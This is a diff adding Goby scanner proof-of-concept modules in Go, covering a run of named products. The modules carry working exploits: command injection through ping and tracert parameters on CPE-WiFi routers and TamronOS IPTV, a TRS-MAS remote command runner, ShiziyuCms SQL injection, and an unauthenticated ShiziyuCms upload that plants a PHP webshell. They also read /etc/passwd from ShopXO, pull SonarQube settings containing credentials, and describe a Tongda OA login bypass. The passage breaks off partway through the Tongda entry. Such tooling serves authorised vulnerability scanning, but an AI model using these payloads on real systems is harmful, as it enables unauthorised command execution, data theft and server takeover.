", + "References": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2021-33396" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "command", + "type": "createSelect", + "value": "cat /etc/passwd,ls,id", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/cgi-bin/jumpto.php?class=diagnosis&page=config_save&isphp=1", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "call_function=ping&iface=eth0&hostname=127.0.0.1|id" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "uid=", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "gid=", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/cgi-bin/jumpto.php?class=diagnosis&page=config_save&isphp=1", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "call_function=ping&iface=eth0&hostname=127.0.0.1|{{{command}}}" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": [ + "CPE-WiFi" + ] + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__tracert_RCE.go b/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__tracert_RCE.go new file mode 100644 index 000000000..aa049ac36 --- /dev/null +++ b/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__tracert_RCE.go @@ -0,0 +1,118 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Shenzhen West dieter Technology Co LTD CPE-WiFi tracert RCE", + "Description": "Shenzhen West dieter Technology Co., LTD CPE-WiFi Command execution vulnerability exists, and attackers can use this vulnerability to execute system commands. ", + "Product": "CPE-WiFi", + "Homepage": "https://cdatatec.com.cn/", + "DisclosureDate": "2021-08-20", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"Wi-Fi Web管理\"", + "Level": "3", + "Impact": "

Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters.&nbsp; Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker.&nbsp; &nbsp;Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.

", + "Recommandation": "

1. Verify the validity of the value passed by the parameter

2. Restrict the execution permission of the application&nbsp

", + "References": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2021-33396" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "command", + "type": "createSelect", + "value": "cat /etc/passwd,ls,id", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/cgi-bin/jumpto.php?class=diagnosis&page=config_save&isphp=1", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "call_function=tracert&iface=eth0&hostname=127.0.0.1|id" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "uid=", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "gid=", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/cgi-bin/jumpto.php?class=diagnosis&page=config_save&isphp=1", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "call_function=tracert&iface=eth0&hostname=127.0.0.1|{{{command}}}" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": [ + "CPE-WiFi" + ] + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ShiziyuCms_ApiController.class.php_SQL_injection.go b/lib/goby/goby_pocs/ShiziyuCms_ApiController.class.php_SQL_injection.go new file mode 100644 index 000000000..e9f97bad2 --- /dev/null +++ b/lib/goby/goby_pocs/ShiziyuCms_ApiController.class.php_SQL_injection.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "ShiziyuCms ApiController.class.php SQL injection", + "Description": "ShiziyuCms ApiController.class.php SQL injection", + "Product": "ShiziyuCms", + "Homepage": "https://www.tyha.cn/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "body=\"/seller.php?s=/Public/login\"", + "Level": "2", + "Impact": "SQL injection", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["SQL injection"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["ShiziyuCms"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return strings.Contains(resp.RawBody, "c4ca4238a0b923820dcc509a6f75849") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ShiziyuCms_ApigoodsController.class.php_SQL_injection.go b/lib/goby/goby_pocs/ShiziyuCms_ApigoodsController.class.php_SQL_injection.go new file mode 100644 index 000000000..b7ca316fa --- /dev/null +++ b/lib/goby/goby_pocs/ShiziyuCms_ApigoodsController.class.php_SQL_injection.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "ShiziyuCms ApigoodsController.class.php SQL injection", + "Description": "ShiziyuCms ApigoodsController.class.php SQL injection", + "Product": "ShiziyuCms", + "Homepage": "https://www.tyha.cn/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "body=\"/seller.php?s=/Public/login\"", + "Level": "2", + "Impact": "SQL injection", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["SQL injection"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["ShiziyuCms"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return strings.Contains(resp.RawBody, "c4ca4238a0b923820dcc509a6f75849") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ShiziyuCms_wxapp.php_File_update.go b/lib/goby/goby_pocs/ShiziyuCms_wxapp.php_File_update.go new file mode 100644 index 000000000..ac5975888 --- /dev/null +++ b/lib/goby/goby_pocs/ShiziyuCms_wxapp.php_File_update.go @@ -0,0 +1,101 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "ShiziyuCms wxapp.php File update", + "Description": "ShiziyuCms wxapp.php File update,Attackers can upload malicious files without authentication", + "Product": "ShiziyuCms", + "Homepage": "https://shiziyu.cc/", + "DisclosureDate": "2021-06-03", + "Author": "PeiQi", + "GobyQuery": "body=\"/seller.php?s=/Public/login\"", + "Level": "3", + "Impact": "

File upload

", + "Recommendation": "Update patches in time", + "RealReferences": [ + "http://wiki.peiqi.tech/PeiQi_Wiki" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File update" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "ShiziyuCms" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Disable": false, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + randomStr := goutils.RandomHexString(8) + uri := "/wxapp.php?controller=Goods.doPageUpload" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") + cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"upfile\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ + addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] + addr = strings.Replace(addr, "\\/", "/", -1) + cfg_1 := httpclient.NewGetRequestConfig(addr) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, randomStr) + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + randomStr := goutils.RandomHexString(8) + uri := "/wxapp.php?controller=Goods.doPageUpload" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") + cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"upfile\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ + addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] + addr = strings.Replace(addr, "\\/", "/", -1) + expResult.Output = "Webshell Addr: " + addr + "\r\n\r\nWebshell Pass: " + randomStr + expResult.Success = true + } + } + return expResult + }, + )) +} + diff --git a/lib/goby/goby_pocs/ShopXO_download_File_read_CNVD_2021_15822.go b/lib/goby/goby_pocs/ShopXO_download_File_read_CNVD_2021_15822.go new file mode 100644 index 000000000..25646a5ca --- /dev/null +++ b/lib/goby/goby_pocs/ShopXO_download_File_read_CNVD_2021_15822.go @@ -0,0 +1,106 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "encoding/base64" + "strings" +) + +func init() { + expJson := `{ + "Name": "ShopXO download File read (CNVD-2021-15822)", + "Description": "Shopxo is an open source enterprise level open source e-commerce system. Shopxo has an arbitrary file read vulnerability that an attacker can use to obtain sensitive information", + "Product": "Shopxo has an arbitrary file read vulnerability that an attacker can use to obtain sensitive information", + "Homepage": "https://www.shopxo.net/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "body=\"/public/index.php?s=/index/user/modallogininfo.html\"", + "Level": "2", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["ESAFENET DLP"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root:") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + strbytes := []byte(file) + encoded := base64.StdEncoding.EncodeToString(strbytes) + uri := "/public/index.php?s=/index/qrcode/download/url/" + encoded + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SonarQube_unauth_CVE_2020_27986.json b/lib/goby/goby_pocs/SonarQube_unauth_CVE_2020_27986.json index e736b52e8..53cfdc92a 100644 --- a/lib/goby/goby_pocs/SonarQube_unauth_CVE_2020_27986.json +++ b/lib/goby/goby_pocs/SonarQube_unauth_CVE_2020_27986.json @@ -4,7 +4,7 @@ "Tags": [ "unauth" ], - "GobyQuery": "app=\"SonarQube\"", + "GobyQuery": "app=\"SonarQube-code management\"", "Description": "SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.", "Product": "SonarQube", "Homepage": "https://www.sonarqube.org/", @@ -14,7 +14,7 @@ "References": [ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27986" ], - "HasExp": false, + "HasExp": true, "ExpParams": null, "ExpTips": { "Type": "", @@ -64,6 +64,50 @@ ] } ], - "PostTime": "2021-11-29 15:03:58", - "GobyVersion": "1.9.310" + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api/settings/values", + "follow_redirect": true, + "header": null, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "sonaranalyzer-cs.nuget.packageVersion", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "sonar.core.id", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + } + ], + "PostTime": "2022-06-25 20:10:24", + "GobyVersion": "1.9.323" } \ No newline at end of file diff --git a/lib/goby/goby_pocs/TRS-MAS testCommandExecutor.jsp Remote Command Execution.go b/lib/goby/goby_pocs/TRS-MAS testCommandExecutor.jsp Remote Command Execution.go new file mode 100644 index 000000000..4f06f27c2 --- /dev/null +++ b/lib/goby/goby_pocs/TRS-MAS testCommandExecutor.jsp Remote Command Execution.go @@ -0,0 +1,164 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "TRS-MAS testCommandExecutor.jsp Remote Command Execution", + "Description": "

TRS MAS is a set of universal media asset management system launched by Beijing Tors Information Technology Co., Ltd. based on the characteristics of audio and video use in the mobile Internet era. The same audio and video resources can be used for different terminal platforms, effectively saving costs. , to simplify the operation. 

There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.

", + "Product": "TRS-MAS", + "Homepage": "http://www.trs.com.cn/", + "DisclosureDate": "2022-04-28", + "Author": "liubye", + "FofaQuery": "header=\"X-Mas-Server\" || banner=\"X-Mas-Server\"", + "GobyQuery": "header=\"X-Mas-Server\" || banner=\"X-Mas-Server\"", + "Level": "3", + "Impact": "

There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.

", + "Recommendation": "

At present, the version affected by the vulnerability has been officially stopped updating. It is recommended to use defense devices for protection.Disable /sysinfo/testCommandExecutor.jsp path access.

", + "References": [ + "https://cn-sec.com/archives/966820.html" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "cmdLine", + "type": "input", + "value": "whoami", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/mas/sysinfo/testCommandExecutor.jsp", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "测试命令行进程执行", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/mas/sysinfo/testCommandExecutor.jsp?cmdLine={{{cmdLine}}}&workDir=&pathEnv=&libPathEnv=", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "测试命令行进程执行", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "Tags": [ + "Command Execution" + ], + "VulType": [ + "Command Execution" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "9.7", + "Translation": { + "CN": { + "Name": "TRS-MAS 测试文件 testCommandExecutor.jsp 远程命令执行", + "Product": "拓尔思-MAS", + "Description": "

TRS MAS是基于移动互联网时代音视频的使用特点,北京拓尔思信息技术股份有限公司推出的一套通用型媒资管理系统,同一个音视频资源能面向不同的终端平台提供使用,有效节省成本,简化操作。

TRS MAS v5、v6版本存在未授权命令执行漏洞,攻击者可以在未授权情况下在服务器上执行任意命令,获取服务器操作权限。

", + "Recommendation": "

目前受漏洞影响的版本官方已停止更新,建议使用防御设备进行防护,禁止对 /sysinfo/testCommandExecutor.jsp 路径的访问。

", + "Impact": "

TRS MAS v5、v6版本存在未授权命令执行漏洞,攻击者可以在未授权情况下在服务器上执行任意命令,获取服务器操作权限。

", + "VulType": [ + "命令执⾏" + ], + "Tags": [ + "命令执⾏" + ] + }, + "EN": { + "Name": "TRS-MAS testCommandExecutor.jsp Remote Command Execution", + "Product": "TRS-MAS", + "Description": "

TRS MAS is a set of universal media asset management system launched by Beijing Tors Information Technology Co., Ltd. based on the characteristics of audio and video use in the mobile Internet era. The same audio and video resources can be used for different terminal platforms, effectively saving costs. , to simplify the operation. 

There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.

", + "Recommendation": "

At present, the version affected by the vulnerability has been officially stopped updating. It is recommended to use defense devices for protection.Disable /sysinfo/testCommandExecutor.jsp path access.

", + "Impact": "

There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.

", + "VulType": [ + "Command Execution" + ], + "Tags": [ + "Command Execution" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/TamronOS_IPTV_ping_RCE.go b/lib/goby/goby_pocs/TamronOS_IPTV_ping_RCE.go new file mode 100644 index 000000000..16e67b130 --- /dev/null +++ b/lib/goby/goby_pocs/TamronOS_IPTV_ping_RCE.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "TamronOS IPTV ping RCE", + "Description": "There is an arbitrary command execution vulnerability in the api/ping of tamronos IPTV system, through which attackers can execute arbitrary commands", + "Product": "TamronOS IPTV", + "Homepage": "http://www.tamronos.com/", + "DisclosureDate": "2021-06-15", + "Author": "PeiQi", + "GobyQuery": "title=\"TamronOS IPTV系统\"", + "Level": "3", + "Impact": "

RCE

", + "Recommendation": "Update", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "TamronOS IPTV" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/api/ping?count=5&host=;id;" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid=") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + cmd = strings.Replace(cmd, " ", "%20", -1) + uri := "/api/ping?count=5&host=;" + cmd + ";" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + re := regexp.MustCompile(`"result":"(.*?)"`).FindStringSubmatch(resp.RawBody)[1] + expResult.Output = re + expResult.Success = true + } + } + return expResult + }, + )) +} + diff --git a/lib/goby/goby_pocs/Tongda OA Arbitrary User Login Vulnerability.go b/lib/goby/goby_pocs/Tongda OA Arbitrary User Login Vulnerability.go new file mode 100644 index 000000000..50348eb27 --- /dev/null +++ b/lib/goby/goby_pocs/Tongda OA Arbitrary User Login Vulnerability.go @@ -0,0 +1,232 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "regexp" + "strings" +) + +func init() { + expJson := `{ + "Name": "Tongda OA Arbitrary User Login Vulnerability", + "Description": "

Tongda OA (Office Anywhere Network Intelligent Office System) is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., Ltd. It is a comprehensive management office platform formed by combining with Chinese enterprise management practices.

Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.

", + "Product": "Tongda-OA", + "Homepage": "https://www.tongda2000.com/", + "DisclosureDate": "2021-05-20", + "Author": "su18@javaweb.org", + "FofaQuery": "body=\"/static/templates/2013_01/index.css/\" || body=\"javascript:document.form1.UNAME.focus()\" || body=\"href=\\\"/static/images/tongda.ico\\\"\" || body=\"\" || (body=\"OA提示:不能登录OA\" && body=\"紧急通知:今日10点停电\") || title=\"Office Anywhere 2013\" || title=\"Office Anywhere 2015\" || (body=\"tongda.ico\" && (title=\"OA\" || title=\"办公\")) || body=\"class=\\\"STYLE1\\\">新OA办公系统\"", + "GobyQuery": "body=\"/static/templates/2013_01/index.css/\" || body=\"javascript:document.form1.UNAME.focus()\" || body=\"href=\\\"/static/images/tongda.ico\\\"\" || body=\"\" || (body=\"OA提示:不能登录OA\" && body=\"紧急通知:今日10点停电\") || title=\"Office Anywhere 2013\" || title=\"Office Anywhere 2015\" || (body=\"tongda.ico\" && (title=\"OA\" || title=\"办公\")) || body=\"class=\\\"STYLE1\\\">新OA办公系统\"", + "Level": "3", + "Impact": "

Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.

", + "Recommendation": "

Please follow the manufacturer's website to update it in time. https://www.tongda2000.com/

", + "References": [ + "https://fofa.so/" + ], + "Is0day": true, + "HasExp": true, + "ExpParams": [], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "Tags": [ + "Login Bypass" + ], + "VulType": [ + "Login Bypass" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "9.0", + "Translation": { + "CN": { + "Name": "通达 OA 任意用户登陆漏洞", + "Product": "通达-OA", + "Description": "

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。

通达存在任意用户登陆漏洞,攻击者可以通过指定接口登陆任意用户,获取后台管理权限,直接登录后台进行敏感操作。

", + "Recommendation": "

请联系官方厂商进行更新。https://www.tongda2000.com/

", + "Impact": "

通达存在任意用户登陆漏洞,攻击者可以通过指定接口登陆任意用户,获取后台管理权限,直接登录后台进行敏感操作。

", + "VulType": [ + "登录绕过" + ], + "Tags": [ + "登录绕过" + ] + }, + "EN": { + "Name": "Tongda OA Arbitrary User Login Vulnerability", + "Product": "Tongda-OA", + "Description": "

